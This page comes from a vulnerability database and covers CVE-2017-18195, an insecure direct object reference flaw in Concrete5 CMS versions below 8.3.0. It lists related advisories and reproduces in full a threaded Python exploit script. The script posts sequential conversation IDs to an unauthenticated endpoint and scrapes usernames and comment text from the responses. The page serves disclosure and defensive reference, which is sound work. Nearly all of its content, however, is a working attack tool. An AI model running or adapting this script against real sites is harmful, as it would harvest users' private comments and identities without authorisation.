Lucene search
K

Concrete5 Username / Comments Enumeration

🗓️ 27 Feb 2018 00:00:00Reported by Chapman SchleissType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

Concrete5 Comments Enumeration Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Concrete5 < 8.3.0 - Username / Comments Enumeration Exploit
28 Feb 201800:00
zdt
CNVD
Concrete5 Comments on Enumeration Vulnerability
27 Feb 201800:00
cnvd
CVE
CVE-2017-18195
26 Feb 201817:00
cve
Cvelist
CVE-2017-18195
26 Feb 201817:00
cvelist
Exploit DB
Concrete5 CMS &lt; 8.3.0 - Username / Comments Enumeration
27 Feb 201800:00
exploitdb
EUVD
EUVD-2017-9329
7 Oct 202500:30
euvd
exploitpack
Concrete5 8.3.0 - Username Comments Enumeration
27 Feb 201800:00
exploitpack
exploitpack
Concrete5 CMS 8.3.0 - Username Comments Enumeration
27 Feb 201800:00
exploitpack
NVD
CVE-2017-18195
26 Feb 201817:29
nvd
OpenVAS
Concrete5 < 8.3.0 Authentication Bypass Vulnerability
27 Feb 201800:00
openvas
Rows per page
`#!/usr/bin/env python3  
  
# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)  
# CVE-2017-18195  
# Chapman (R3naissance) Schleiss  
  
from queue import Queue  
from threading import Thread  
from bs4 import BeautifulSoup  
from tabulate import tabulate  
import argparse  
import requests  
import logging  
  
parser = argparse.ArgumentParser(  
description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",  
)  
parser.add_argument('-u','--url', action='store', dest='url', required=True,  
help="This is the url to attack. Typically http://example.com/index.php/tools/required/conversations/view_ajax")  
parser.add_argument('-s','--start', action='store', type=int, dest='start_id',  
help='Where to start enumeration')  
parser.add_argument('-e','--end', action='store', type=int, dest='end_id',  
help='Where to end enumeration')  
parser.add_argument('-v','--verbose', action='store_true', dest='verbose',  
help='This boolean flag will trigger all raw information to stdout')  
args = parser.parse_args()  
  
if args.verbose:  
logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')  
else:  
logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')  
  
if args.start_id is None:  
args.start_id = 1  
if args.end_id is None:  
args.end_id = 10  
  
def crawl(q, result):  
while not q.empty():  
work = q.get()  
logging.debug("Requesting cnvID: " + str(work))  
try:  
response = requests.post(args.url, data={'cnvID': work, 'cID': 1}, timeout=300)  
logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))  
if response.status_code < 400 or response.status_code > 499:  
logging.debug("Parsing html and adding comments to results list")  
soup = BeautifulSoup(response.text, 'html.parser')  
username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})  
message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})  
for i in range(len(username)):  
results.append((work, username[i].text.strip(), message[i].text.strip()))  
logging.info("Completed cnvID: " + str(work))  
except:  
logging.error('Error getting cnvID: ' + str(work))  
q.task_done()  
return True  
  
q = Queue(maxsize=0)  
  
enum = range(args.start_id, args.end_id + 1)  
num_theads = min(50, len(enum))  
  
results = []  
for i in enum:  
q.put(i)  
  
for i in range(num_theads):  
logging.debug('Starting thread ' + str(i))  
worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))  
worker.setDaemon(True)  
worker.start()  
  
logging.debug('Waiting for final threads to complete')  
q.join()  
  
logging.info('Enumeration complete')  
  
print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation